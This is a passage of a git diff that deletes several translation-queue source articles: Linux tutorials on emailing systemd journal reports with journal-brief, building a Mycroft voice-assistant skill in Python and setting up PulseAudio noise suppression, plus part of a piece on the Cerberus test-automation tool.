<[storage-server@domain.invalid][5]>' -    subject: 'daily journal' -    host: 'mail.server.invalid' -    port: 587 -``` - -This configuration causes journal-brief to: - - * Store the cursor at the path configured as `cursor-file` - * Format journal entries using the `short` format (one line per entry) and provide a list of any systemd units that are in the `failed` state - * Include journal entries from _any_ service unit (even the Linux kernel) with a priority of `warning`, `error`, or `emergency` - * Send an email even if there are no matching journal entries, so Robin can be sure that the storage server is still operating and has connectivity - * Send the email using SMTP - - - -You can test this configuration file by executing a journal-brief command: - - -``` -`$ journal-brief --conf /etc/journal-brief/daily-journal-email` -``` - -Journal-brief will scan the systemd journal for all new messages (yes, _all_ of the messages it has never seen before), identify any that match the priority filter, and format them into an email that it sends to Robin. If the storage server has been operational for months (or years) and the systemd journal has never been purged, this could produce a very large email message. In addition to Robin not appreciating such a large message, Robin's email provider may not be willing to accept it, so you can generate a shorter message by executing this command: - - -``` -`$ journal-brief -b --conf /etc/journal-brief/daily-journal-email` -``` - -Adding the `-b` argument tells journal-brief to inspect only the systemd journal entries from the most recent system boot and ignore any that are older. - -After journal-brief sends the email to the SMTP server, it writes a string into the cursor file so that the next time it runs using the same cursor file, it will know where to start in the journal. If the process fails for any reason (e.g., journal entry gathering, entry formatting, or SMTP delivery), the cursor file will _not_ be updated, which means the next time it uses the cursor file, the entries that would have been in the failed email will be included in the next email instead. - -#### Step 2: Set up the systemd service unit - -Create a text file at `/etc/systemd/system/daily-journal-email.service` with: - - -``` -[Unit] -Description=Send daily journal report - -[Service] -ExecStart=/opt/journal-brief/bin/journal-brief --conf /etc/journal-brief/%N.yml -Type=oneshot -``` - -This service unit will run journal-brief and specify a configuration file with the same name as the unit file with the suffix removed, which is what `%N` supplies. Since this service will be started by a timer (see step 3), there is no need to enable or manually start it. - -#### Step 3: Set up the systemd timer unit - -Create a text file at `/etc/systemd/system/daily-journal-email.timer` with: - - -``` -[Unit] -Description=Trigger daily journal email report - -[Timer] -OnCalendar=*-*-* 08:30:00 Pacific/Fiji - -[Install] -WantedBy=multi-user.target -``` - -This timer will start the `daily-journal-email` service unit (because its name matches the timer name) every day at 8:30am in the Pacific/Fiji time zone. If the time zone was not specified, the timer would trigger the service at 8:30am in the system time zone configured on the `storage` server. - -To make this timer start every time the system boots, it is `WantedBy` by the multi-user target. To enable and start the timer: - - -``` -$ systemctl enable daily-journal-email.timer -$ systemctl start daily-journal-email.timer -$ systemctl list-timers daily-journal-email.timer -``` - -The last command will display the timer's status, and the `NEXT` column will indicate the next time the timer will start the service. - -To learn more about systemd timers and building schedules for them, read [_Use systemd timers instead of cronjobs_][6]. - -Now the configuration is complete, and Robin will receive a daily email of interesting journal entries. - -### Monitor the output of a specific service - -The `storage` server has some filesystems on solid-state storage devices (SSD) and runs Fedora Linux. Fedora has an `fstrim` service that is scheduled to run once per week (using a systemd timer, as in the example above). Robin would like to see the output generated by this service, even if it doesn't generate any warnings or errors. While this output will be included in the daily journal email, it will be intermingled with other journal entries, and Robin would prefer to have the output in its own email message. - -#### Step 1: Configure journal-brief - -Create a text file at `/etc/journal-brief/fstrim.yml` with: - - -``` -cursor-file: '/var/lib/journal-brief/fstrim' -output: 'short' -inclusions: -  - _SYSTEMD_UNIT: -   - ‘fstrim.service’ -email: -  suppress_empty: false -  smtp: -    to: '”Robin” <[robin@domain.invalid][4]>' -    from: '"Storage Server" <[storage-server@domain.invalid][5]>' -    subject: 'weekly fstrim' -    host: 'mail.server.invalid' -    port: 587 -``` - -This configuration is similar to the previous example, except that it will include _all_ entries related to a systemd unit named `fstrim.service`, regardless of their priority levels, and will include _only_ entries related to that service. - -### Step 2: Modify the systemd service unit - -Unlike in the previous example, you don't need to create a systemd service unit or timer, since they already exist. Instead, you want to add behavior to the existing service unit by using the systemd "drop-in file" mechanism (to avoid modifying the system-provided unit file). - -First, ensure that the `EDITOR` environment variable is set to your preferred text editor (otherwise you'll get the default editor on your system), and execute: - - -``` -`$ systemctl edit fstrim.service` -``` - -Note that this does not edit the existing service unit file; instead, it opens an editor session to create a drop-in file (located at `/etc/systemd/system/fstrim.service.d/override.conf`). - -Paste these contents into the editor and save the file: - - -``` -[Service] -ExecStopPost=/opt/journal-brief/bin/journal-brief --conf /etc/journal-brief/%N.yml -``` - -After you exit the editor, the systemd configuration will reload automatically (which is one benefit of using `systemctl edit` instead of creating the file directly). Like in the previous example, this drop-in uses `%N` to avoid duplicating the service name; this means that the drop-in contents can be applied to any service on the system, as long as the appropriate configuration file is created in `/etc/journal-brief`. - -Using `ExecStopPost` will make journal-brief run after any attempt to run the `fstrim.service`, whether or not it's successful. This is quite useful, as the email will be generated even if the `fstrim.service` cannot be started (for example, if the `fstrim` command is missing or not executable). - -Please note that this technique is primarily applicable to systemd services that run to completion before exiting (in other words, not background or daemon processes). If the `Type` in the `Service` section of the service's unit file is `forking`, then journal-brief will not execute until the specified service has stopped (either manually or by a system target change, like shutdown). - -The configuration is complete; Robin will receive an email after every attempt to start the `fstrim` service; if the attempt is successful, then the email will include the output generated by the service. - -### Monitor without extra effort - -With this setup, you can monitor the health of your Linux systems that use systemd without needing to set up any centralized monitoring or logging tools. I find this monitoring method quite effective, as it draws my attention to unusual events on the servers I maintain without requiring any additional effort. - -Special thanks to Tim Waugh for creating the journal-brief tool and being willing to accept a rather large patch to add direct email support rather than running journal-brief through cron. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/systemd-journals-email - -作者:[Kevin P. Fleming][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kpfleming -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/note-taking.jpeg?itok=fiF5EBEb (Note taking hand writing) -[2]: https://github.com/twaugh/journal-brief -[3]: https://www.freedesktop.org/software/systemd/man/systemd.journal-fields.html -[4]: mailto:robin@domain.invalid -[5]: mailto:storage-server@domain.invalid -[6]: https://opensource.com/article/20/7/systemd-timers diff --git a/sources/tech/20200731 Bring your Mycroft AI voice assistant skill to life with Python.md b/sources/tech/20200731 Bring your Mycroft AI voice assistant skill to life with Python.md deleted file mode 100644 index cf69759db8..0000000000 --- a/sources/tech/20200731 Bring your Mycroft AI voice assistant skill to life with Python.md +++ /dev/null @@ -1,273 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Bring your Mycroft AI voice assistant skill to life with Python) -[#]: via: (https://opensource.com/article/20/7/mycroft-voice-skill) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -Bring your Mycroft AI voice assistant skill to life with Python -====== -Put the final polishes on your Mycroft skill by managing dependencies, -debugging, collecting user-specific data, and getting everything into -your Python code. -![Hands on a keyboard with a Python book ][1] - -In the first two articles of this series on [Mycroft][2], an open source, privacy-focused digital voice assistant, I covered the [background behind voice assistants][3] and some of Mycroft's [core tenets][4]. In Part 3, I started [outlining the Python code][5] required to provide some basic functionality to a skill that adds items to [OurGroceries][6], a grocery list app. And in Part 4, I talked about the different types of [intent parsers][7] (and when to use each) and expanded the Python code so Mycroft could provide audible feedback while working through the skill. - -In this fifth article, I will walk through the remaining sections required to build this skill. I'll talk about project dependencies, logging output for debugging purposes, working with the Mycroft web UI for setting values (such as usernames and passwords), and how to get this information into your Python code. - -### Dealing with project dependencies - -There are generally three sources for project dependencies when writing a Mycroft skill: - - * Python packages from [PyPI][8] - * System-level packages pulled from a repository - * Other Mycroft skills - - - -There are a couple of ways to deal with dependencies in Mycroft. You can use "requirements" files, or you can use the `manifest.yml` file. - -Since most of the skills in the Mycroft store use requirement files, I will merely touch on the `manifest.yml` file. The `manifest.yml` file is pretty straightforward. There is a `dependencies:` section, and under this are three options: `python:`, `system:`, and `skill:`. Under each heading, you should specify the names of required dependencies. An example file could look like this: - - -``` -dependencies: -  # Pip dependencies on PyPI -   python: -    - requests -     - gensim - -   system: -    # For simple packages, this is all that is necessary -     all: pianobar piano-dev - -   # Require the installation of other skills before installing this skill -   skill: -    - my-other-skill -``` - -However, since the majority of skills use requirement files, I'll use that option for this project, so you can use it as an example for other skills you may wish to use or create. - -In Python, the `requirements.txt` file, which lists all the Python dependencies a project requires, is very common. This file is pretty simple; it can either be a list of packages or a list with specific versions. I will specify a minimal version with some code I submitted to the `ourgroceries` project. There are three options for this project's `requirements.txt`: - - * `ourgroceries==1.3.5`: Specifies that the package must be version 1.3.5 - * `ourgroceries>=1.3.5`: Specifies that the package must be version 1.3.5 or higher - * `ourgroceries`: Allows any version of the package - - - -My `requirements.txt` uses `ourgroceries>=1.3.5` to allow for future updates. Following this same logic, your `requirements.txt` could list different packages instead of specifying a single package. - -The entirety of my `requirements.txt` file is one line: - - -``` -`ourgroceries>=1.3.5` -``` - -You can also opt to use `requirements.sh`. This is a shell script that can be used to install packages, download modules from Git, or do any number of things. This file executes while installing a new skill. The [Zork skill][9] has an example of a `requirements.sh` script. However, while you can use this, if you want to submit your skill to the store, the `requirements.sh` will be scrutinized fairly heavily to mitigate security issues. - -### Debug your skill - -There are a couple of ways to debug your skill. You can use the Mycroft logger, or you can use standard Python debugging tools. Both methods are available in the Mycroft command-line interface (CLI), which is very handy for debugging. - -#### Use Mycroft logger - -To get started with the Mycroft logger, you just need to have the `MycroftSkill` imported because logger is part of the base class. This means that as long as you are working inside the class for your skill, logger is available. For example, the following code demonstrates how to create a very basic skill with a log entry: - - -``` -from mycroft import MycroftSkill - -class MyFakeSkill(MycroftSkill): -                def __init__(self): -                self.log.info("Skill starting up") - -def create_skill(): -                return MyFakeSkill() -``` - -Logger has all the log levels you might expect: - - * **debug:** Provides the highest level of detail but is _not_ logged by default - * **info:** Provides general information when a skill is running as expected; it is always logged - * **warning:** Indicates something is wrong, but it is not fatal - * **error:** Fatal problems; they are displayed in red in the CLI - * **exception:** Similar to errors except they include stack traces - - - -Along with showing in the CLI, logger writes to `skills.log`. The file's location varies depending on how you installed Mycroft. Common locations are `/var/log/mycroft/skills.log`, `~/snap/mycroft/common/logs/skills.log`, and `/var/opt/mycroft/skills.log`. - -There may be times when you want to use the Mycroft logger outside the instantiated class. For example, if you have some global functions defined outside the class, you can import `LOG` specifically: - - -``` -from mycroft import MycroftSkill -from mycroft.util import LOG - -def my_global_funct(): -                LOG.info("This is being logged outside the class") - -class MyFakeSkill(MycroftSkill): -                def __init__(self): -                self.log.info("Skill starting up") - -def create_skill(): -                return MyFakeSkill() -``` - -#### Use Python's debugging tools - -If you want something that stands out more, you can use the built-in Python `print()` statements to debug. I have found that there are occasions where the Mycroft logger is slow to produce output. Other times, I just want something that jumps out at me visually. In either case, I prefer using `print()` statements when I am debugging outside an IDE. - -Take the following code, for example: - - -``` -if category_name is None: -    self.log.info("---------------> Adding %s to %s" % (item_to_add, list_name)) -    print("-------------> Adding %s to %s" % (item_to_add, list_name)) -``` - -This produces the following output in the `mycroft-cli-client`: - - -``` -~~~~ings:104 | Skill settings successfully saved to /opt/mycroft/skills/fallback-wolfram-alpha.mycroftai/settings.json -~~~~1 | mycroft.skills.mycroft_skill.mycroft_skill:handle_settings_change:272 | Updating settings for skill AlarmSkill -~~~~save_settings:104 | Skill settings successfully saved to /opt/mycroft/skills/mycroft-alarm.mycroftai/settings.json - 10:50:38.528 | INFO     | 51831 | ConfigurationSkill | Remote configuration updated - 10:50:43.862 | INFO     | 51831 | OurGroceriesSkill | ---------------> Adding hot dogs to my shopping -\---------------> Adding hot dogs to my shopping -~~~~7.654 | INFO     | 51831 | mycroft.skills.skill_loader:reload:108 | ATTEMPTING TO RELOAD SKILL: ourgroceries-skill -~~~~831 | mycroft.skills.skill_loader:_execute_instance_shutdown:146 | Skill ourgroceries-skill shut down successfully -``` - -I find that, as the text scrolls, it is much easier to visually identify a print statement that does not have the uniform header of the other messages. This is a personal preference and not meant as any sort of recommendation for programming best practices. - -### Get input from users - -Now that you know how to see output from your skill, it's time to get some environment-specific information from your users. In many cases, your skill will need some user information to function properly. Most of the time, this is a username and password. Often, this information is required for the skill to initialize properly. - -#### Get user input with internet-connected Mycroft - -If your Mycroft device has a connection to the internet, you can use Mycroft's web UI to enter user information. Log into and navigate to the [skills][10] section. Once you have configured your skill correctly, you will see something like this: - -![Mycroft Web UI][11] - -Here, you can discover which devices have your skill installed. In my case, there are two devices: `Arch Pi4` and `Asus`. There are also input text boxes to get information from the user. - -This interface is created automatically if you have configured Mycroft's Settings file. You have two choices for file types: you can create a `settingsmeta.yaml` or a `settingsmeta.json`. I prefer the YAML syntax, so that is what I used for this project. Here is my `settingsmeta.yaml` for this skill: - - -``` -skillMetadata: -  sections: -  - name: OurGroceries Account -    fields: -    - type: label -      label: "Provide your OurGroceries username/password and then Connect with the button below." -    - name: user_name -      type: text -      label: username -      value: '' -    - name: password -      type: password -      label: Ourgroceries password -      value: '' -    - name: default_list -      type: text -      label: Default Shopping List -      value: '' -``` - -The structure of this file is pretty easy to understand. Each file must start with a `skillsMetadata` heading. Next, there is a `sections` heading. Every new section is denoted by `- name:`, which is YAML syntax for an item on a list. Above, there is only a single section called `OurGroceries Account`, but you can have as many sections as you want. - -Fields are used to both convey and store information. A field can be as simple as a label, which can provide an instruction to the user. More interesting for this skill, however, are the `text` and `password` fields. Text fields allow the user to view what they are typing and are displayed in plain text. This is suitable for non-sensitive information. Password fields are not specific to passwords but are intended to hide sensitive information. After the users enter their information and click the `save` button, Mycroft replaces the `settings.json` file created the first time the skill initializes. The new file contains the values the user input in the web UI. The skill will also use this file to look up credentials and other information. If you are having problems using the correct values in your skill, take a look at the `settings.json` file for proper naming of variables and whether or not values are being stored in the JSON file. - -#### Get user input with offline Mycroft - -As you may have surmised, without internet connectivity, it is more difficult to receive information from end users. There are only a few options. First, you could write your skill such that, on the first run, it prompts the user for the information your skill requires. You could then write this out to `settings.json` if you wish to use the built-in settings parser, or you could write this to a file of your choice and your skill could handle the parsing. Be aware that if you write to `settings.json`, there is a chance that this file could be overwritten if Mycroft re-initializes your skill. - -Another method is having static values in a `settings.json` or another file that is stored with the project. This has some obvious security implications, but if your repository is secure, this is a viable option. - -The third and final option is to enable the user to edit the file directly. This could be done through Network File System (NFS) or [Samba][12] file sharing protocols, or you could simply grant the appropriate permissions to a secure shell (SSH) user who could use any Unix editor to make changes. - -Since this project requires access to the internet, I will not explore these options. If you have questions, you can always engage the community on [Mattermost][13]. - -### Access settings from your skill - -Provided that the other parts in the chain are working (i.e., the users updated their settings via the web UI, and Mycroft updated `settings.json` based on those settings), using user-provided settings is easy to understand. - -As I mentioned in the [third article][5] (where I discussed the `__init__` and `initialize` methods), it is impossible to retrieve values from `settings.json` with the `__init__(self)` method. Therefore, you must use another method to handle the settings. In my case, I created an appropriately named `_create_initial_grocery_connection` method: - - -``` -def _create_initial_grocery_connection(self): -    """ -    This gets the username/password from the config file and gets the session cookie -    for any interactions -    :return: None -    """ -    self.username = self.settings.get('user_name') -    self.password = self.settings.get('password') -    self.ourgroceries_object = OurGroceries(self.username, self.password) -    asyncio.run(self.ourgroceries_object.login()) -``` - -As you can see, you can extract information from `settings.json` by using `self.settings.get()`. The only thing to note is that the value you pass in _must_ match the name in `settingsmeta.yaml`. In this case, because I am not using the username or password outside this method, I could have opted to not make these variables part of the class scope (i.e., I could have called them `password` instead of `self.password`). This is because I am setting the `ourgroceries_object` to the class scope, and it contains all the information required for the rest of the skill to function. - -### Wrapping up - -Voice assistants are expanding into a multi-million (if not -billion) dollar business and some analysts think a majority of homes in the next few years will have one (or more). With Apple, Google, Facebook, and others frequently in the news for privacy violations, not to mention the constant stream of data breaches reported, it is important to have an open source, privacy-focused alternative to the big players. Mycroft puts your privacy first, and its small but dedicated team of contributors is making inroads into the most common scenarios for voice assistants. - -This series dove into the nitty-gritty of skill development, talking about the importance of thinking things through before you start and having a good outline. Knowing where you are going in the big picture helps you organize your code. Breaking the tasks down into individual pieces is also a key part of your strategy. Sometimes, it's a good idea to write bits or significant chunks outside the Mycroft skill environment to ensure that your code will work as expected. This is not necessary but can be a great starting point for people who are new to skill development. - -The series also explored intent parsers and how to understand when to use each one. The [Padatious][14] and [Adapt][15] parsers each have strengths and weaknesses. - - * Padatious intents rely on phrases and entities within those phrases to understand what the user is attempting to accomplish, and they are often the default used for Mycroft skills. - * On the other hand, Adapt uses regular expressions to accomplish similar goals. When you need Mycroft to be context-aware, Adapt is the only way to go. It is also extremely good at parsing complex utterances. However, you need to take great care when using regular expressions, or you will end up with unexpected results. - - - -I also covered the basics of dealing with a project. It's an important step in complex skill development to ensure that a skill has all the proper dependencies to work. Ensuring maximum portability is paramount for a skill, and dependency resolution is a key part of that, as your skill may not work properly with unsatisfied dependencies. - -Finally, I explained how to get skill-specific settings from users, whether the device is internet-connected or not. Which method you choose really depends on your use case. - -While it was not my aim to provide an encyclopedia of Mycroft skill development, by working through this series, you should have a very solid foundation for developing most skills you want to create. I hope the concrete examples in this series will show you how to handle the majority of tasks you may want to accomplish during skill development. I didn't go line-by-line through the whole skill but the code is hosted on [GitLab][16] if you'd like to explore it further. Comments and questions are always welcome. I am very much still learning and growing as a fledgling Mycroft developer, so hit me up on [Twitter][17] or the [Mycroft Mattermost][18] instance, and let's learn together! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/mycroft-voice-skill - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/python-programming-code-keyboard.png?itok=fxiSpmnd (Hands on a keyboard with a Python book ) -[2]: https://mycroft.ai/ -[3]: https://opensource.com/article/20/6/open-source-voice-assistant -[4]: https://opensource.com/article/20/6/mycroft -[5]: https://opensource.com/article/20/6/mycroft-voice-assistant-skill -[6]: https://www.ourgroceries.com/overview -[7]: https://opensource.com/article/20/6/mycroft-intent-parsers -[8]: https://pypi.org/ -[9]: https://github.com/forslund/white-house-adventure/blob/6eba5df187bc8a7735b05e93a28a6390b8c6f40c/requirements.sh -[10]: https://home.mycroft.ai/skills -[11]: https://opensource.com/sites/default/files/mycroft_skills_webui.png (Mycroft Web UI) -[12]: https://www.samba.org/ -[13]: https://chat.mycroft.ai/community/channels/skills -[14]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/padatious-intents -[15]: https://mycroft-ai.gitbook.io/docs/skill-development/user-interaction/intents/adapt-intents -[16]: https://gitlab.com/stratus-ss/mycroft-ourgroceries-skill -[17]: https://twitter.com/linuxovens -[18]: https://chat.mycroft.ai/community/channels/town-square diff --git a/sources/tech/20200731 Real-time noise suppression for video conferencing.md b/sources/tech/20200731 Real-time noise suppression for video conferencing.md deleted file mode 100644 index baffbd0e31..0000000000 --- a/sources/tech/20200731 Real-time noise suppression for video conferencing.md +++ /dev/null @@ -1,198 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Real-time noise suppression for video conferencing) -[#]: via: (https://fedoramagazine.org/real-time-noise-suppression-for-video-conferencing/) -[#]: author: (lkiesow https://fedoramagazine.org/author/lkiesow/) - -Real-time noise suppression for video conferencing -====== - -![][1] - -With people doing video conferencing all day, good audio has recently become much more important. The best option is obviously a proper audio studio. Unfortunately, this is not something you will always have and you might need to make do with a much simpler setup. - -In such situations, a noise reduction filter that keeps your voice but filters out ambient noises (street noise, keyboard, …) can be very helpful. In this article, we will take a look at how to integrate such a filter into PulseAudio so that it can easily be used in all applications with no additional requirements on their part. - -Example of switching on noise reduction - -### The Idea - -We set up [PulseAudio][2] for live noise-reduction using [an LADSPA filter][3]. - -This creates a new PulseAudio source which can be used as a virtual microphone. Other applications will not even realize that they are not dealing with physical devices and you can select it as if you had an additional microphone connected. - -### Terminology - -Before we start, it is good to know the following two PulseAudio terms to better understand what we are doing: - - * _source_ – represents a source from which audio can be obtained. Like a microphone - * _sink_ – represents a consumer of audio like a speaker - - - -Each PulseAudio sink also has a source called monitor which can be used to get the audio put into that sink. For example, you could have audio put out by your headphones while using the monitor of your headphone device to record the output. - -### Installation - -While PulseAudio is usually pre-installed, we need to get the LADSPA filter for noise reduction. You can [build and install the filter manually][3], but it is much easier to install the filter via Fedora Copr: - -``` -sudo dnf copr enable -y lkiesow/noise-suppression-for-voice -sudo dnf install -y ladspa-realtime-noise-suppression-plugin -``` - -Note that the Copr projects are not maintained and quality-controlled by Fedora directly. - -### Enable Noise Reduction Filter - -First, you need to identify the name of the device you want to apply the noise reduction to. In this example, we’ll use the RODE NT-USB microphone as input. - -``` -$ pactl list sources short -0 alsa_input.usb-RODE_Microphones_RODE_NT-USB-00.iec958-stereo … -1 alsa_output.usb-0c76_USB_Headphone_Set-00.analog-stereo.monitor … -``` - -Next, we create a new PulseAudio sink, the filter and a loopback between microphone and filter. That way, the output from the microphone is used as input for the noise reduction filter. The output from this filter will then be available via the null sink monitor. - -To visualize this, here is the path the audio will travel from the microphone to, for example, a browser: - -``` -mic → loopback → ladspa filter → null sink [monitor] → browser -``` - -While this sounds complicated, it is set up with just a few simple commands: - -``` -pacmd load-module module-null-sink \ - sink_name=mic_denoised_out -pacmd load-module module-ladspa-sink \ - sink_name=mic_raw_in \ - sink_master=mic_denoised_out \ - label=noise_suppressor_stereo \ - plugin=librnnoise_ladspa \ - control=50 -pacmd load-module module-loopback \ - source=alsa_input.usb-RODE_Microphones_RODE_NT-USB-00.iec958-stereo \ - sink=mic_raw_in \ - channels=2 -``` - -That’s it. You should now be able to select the new device. - -![New recording devices in pavucontrol][4] - -### Chromium - -Unfortunately, browsers based on Chromium will hide monitor devices by default. This means, that we cannot select the newly created noise-reduction device in the browser. One workaround is to select another device first, then use pavucontrol to assign the noise-reduction device afterward. - -But if you do this on a regular basis, you can work around the issue by using the _remap-source_ module to convert the null sink monitor to a regular PulseAudio source. The module is actually meant for remapping audio channels – e.g. swapping left and right channel on stereo audio – but we can just ignore these additional capabilities and create a new source similar to the monitor: - -``` -pacmd load-module module-remap-source \ - source_name=denoised \ - master=mic_denoised_out.monitor \ - channels=2 -``` - -The remapped device delivers audio identical to the original one so that assigning this with PulseAudio will yield no difference. But this device does now show up in Chromium: - -![Remapped monitor device in Chrome][5] - -### Improvements - -While the guide above should help you with all the basics and will get you a working setup, there are a few things you can improve. - -But while the commands above should generally work, you might need to experiment with the following suggestions. - -#### Latency - -By default, the loopback module will introduce a slight audio latency. You can hear this by running an echo test: - -``` -gst-launch-1.0 pulsesrc ! pulsesink -``` - -You might be able to reduce this latency by using the _latency_msec_ option when loading the _loopback_ module: - -``` -pacmd load-module module-loopback \ - latency_msec=1 \ - source=alsa_input.usb-RODE_Microphones_RODE_NT- USB-00.iec958-stereo \ - sink=mic_raw_in \ - channels=2 -``` - -#### Voice Threshold - -The noise reduction library provides controls for a voice threshold. The filter will return silence if the probability for sound being voice is lower than this threshold. In other words, the higher you set this value, the more aggressive the filter becomes. - -You can pass different thresholds to the filter by supplying them as control argument when the _ladspa-sink_ module is being loaded. - -``` -pacmd load-module module-ladspa-sink \ - sink_name=mic_raw_in \ - sink_master=mic_denoised_out \ - label=noise_suppressor_stereo \ - plugin=librnnoise_ladspa \ - control=95 -``` - -#### Mono vs Stereo - -The example above will work with stereo audio. When working with a simple microphone, you may want to use a mono signal instead. - -For switching to mono, use the following values instead when loading the different modules: - - * _label=noise_suppressor_mono_ – when loading the _ladspa-sink_ module - * _channels=1_ – when loading the _loopback_ and remap-source modules - - - -#### Persistence - -Using the _pacmd_ command for the setup, settings are not persistent and will disappear if PulseAudio is restarted. You can add these commands to your PulseAudio configuration file if you want them to be persistent. For that, edit _~/.config/pulse/default.pa_ and add your commands like this: - -``` -.include /etc/pulse/default.pa - -load-module module-null-sink sink_name=mic_denoised_out -load-module module-ladspa-sink … -… -``` - -### Limitations - -If you listen to the example above, you will notice that the filter reliably reduces background noise. But unfortunately, depending on the situation, it can also cause a loss in voice quality. - -The following example shows the results with some street noise. Activating the filter reliably removes the noise, but in this example, the voice quality noticeably drops as well: - -Noise reduction of constant street noise - -As a conclusion, we can say that this can help if you find yourself in less than ideal audio scenarios. It is also very effective if you are not the main speaker in a video conference and you do not want to constantly mute yourself. - -Still, good audio equipment and a quiet environment will always be better. - -Have fun. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/real-time-noise-suppression-for-video-conferencing/ - -作者:[lkiesow][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/lkiesow/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/07/noise-reduction-816x345.png -[2]: https://freedesktop.org/wiki/Software/PulseAudio/ -[3]: https://github.com/werman/noise-suppression-for-voice -[4]: https://fedoramagazine.org/wp-content/uploads/2020/07/pavucontrol-white-1024x379.png -[5]: https://fedoramagazine.org/wp-content/uploads/2020/07/chrome-1024x243.png diff --git a/sources/tech/20200804 An open source solution for continuous testing at scale.md b/sources/tech/20200804 An open source solution for continuous testing at scale.md deleted file mode 100644 index f3bd92215b..0000000000 --- a/sources/tech/20200804 An open source solution for continuous testing at scale.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (An open source solution for continuous testing at scale) -[#]: via: (https://opensource.com/article/20/8/cerberus-test-automation) -[#]: author: (Antoine Craske https://opensource.com/users/acraske) - -An open source solution for continuous testing at scale -====== -Cerberus focuses on testing usability, scalability, and integration. -![Coding on a computer][1] - -In Sogeti's most recent [World Quality Report][2], software testing ranked No. 1 in terms of its contributions to business objectives and growth, making it a key enabler for business digitalization. Despite this, the software testing industry still reports major pain points related to test maintenance, automation, tooling, and skills. Most of the tooling in common use lacks capabilities, is too complex to integrate, provides insufficient intelligence, or is too difficult to use. - -[Cerberus Testing][3] provides a solution to these problems. It is a test automation solution built by retail companies to support digitalization initiatives and focuses on usability, scalability, and integration of the test lifecycle process. - -![Cerberus supports test lifecycle to accelerate feedback loops][4] - -(Cerberus, [CC BY-SA 4.0][5]) - -### What is Cerberus? - -Our IT team at La Redoute, a French clothing fashion retailer, began writing the first lines of code of what would become Cerberus in 2010. Our objectives were to automate manual non-regression tests for existing web applications to accelerate and increase the quality of software delivery. We also wanted our in-house solution to enable iterations through test management, execution, and reporting in minutes, rather than weeks. - -Cerberus is based on a Selenium web driver and a three-tier traditional architecture with a Java technology stack. A key requirement for development was to limit code to support usability, reuse, and keeping tests simple. - -At the time we developed Cerberus, most solutions were commercial and designed to address specific silos such as test repositories, execution, or analytics. Cerberus combines the three test silos and enables web, API, and database testing. This is why we chose the name Cerberus, after the [three-headed dog that guards Hades][6] in Greek mythology. - -### Releasing Cerberus as open source - -The first version automated functional testing for an internal customer-relationship management (CRM) solution, and once it was shown to successfully detect dangerous release defects, we considered it to be a product. - -Next, we began using Cerberus to test La Redoute's e-commerce platform. As we shared our experience with the industry, we learned our peers were still struggling with test automation. So, in 2013, knowing the value of open source software for product innovation and development, we released Cerberus on [SourceForge][7] and [GitHub][8] under a GNU General Public License to encourage our community to share code and ideas. As with all open source projects, we make a continuous effort to ensure code quality, documentation, and transparency. - -![Cerberus GitHub repository][9] - -(Antoine Craske, [CC BY-SA 4.0][5]) - -During this period, [digital transformation][10] was escalating, making it essential for Cerberus to enable full regression test automation and monitoring. We focused on improving flexibility in test management, execution scalability, and traceability to meet those objectives. Adding end-to-end tests alongside functional tests was key. It enabled us to accelerate the software delivery cycle by more than 10x in certain cases. We published a [case study][11] about our 96% success in daily deployments and more than 6,000 automated tests in a year. - -### Growing interest - -Other French retailers, including Decathlon, Norauto, Leroy Merlin, and Midas, became interested in Cerberus. The emerging community of testers then shared it with other organizations that used the solution to accelerate their digital transformation, primarily for e-commerce and backoffice transformations. - -![Cerberus integrations][12] - -(Cerberus, [CC BY-SA 4.0][5]) - -We added standard integrations to Cerberus to increase its usability. A [Jenkins][13] plugin was a key addition to facilitate deployment of CI/CD pipelines with test automation and feedback. Adding support for REST APIs, advanced scheduling, retries, and screenshots enabled Cerberus to further accelerate testing-cycle time. For example, French retailer Leroy Merlin uses Cerberus for [mobile testing at scale][14]. - -### Support for continuous testing - -With recent and ongoing updates, organizations can leverage Cerberus' features from development to operations. It expands digital experience test coverage by executing tests on a variety of browsers, devices, and apps. Its native connectors for APIs (including SOAP and REST), desktop applications, and [Apache Kafka][15] enable testing legacy apps, APIs, event-driven microservices, streaming services, business intelligence, data science applications, and other use cases. - -During the software development lifecycle, Cerberus supports fast iterations in test management, execution, and reporting. Users can create test specifications in plain English, compose tests using a library, execute in parallel on various devices, and do advanced reporting. Native integration with CI/CD solutions, such as Jenkins, Bitbucket, and others, combined with one-click ticket creation in Jira and other tools, makes bug resolution faster and easier. - -![Cerberus use cases][16] - -(Cerberus, [CC BY-SA 4.0][5]) - -Cerberus can also monitor customer experience and business operations. Tests can be functional and technical, allowing organizations to test complex scenarios. For example, France's leading TV channel, TF1, uses it for quality assurance on its streaming platform. - -Capabilities such as advanced scheduling, alerting, notifications, and web-performance and analytics dashboards make it easier to discover issues and identify bottlenecks with 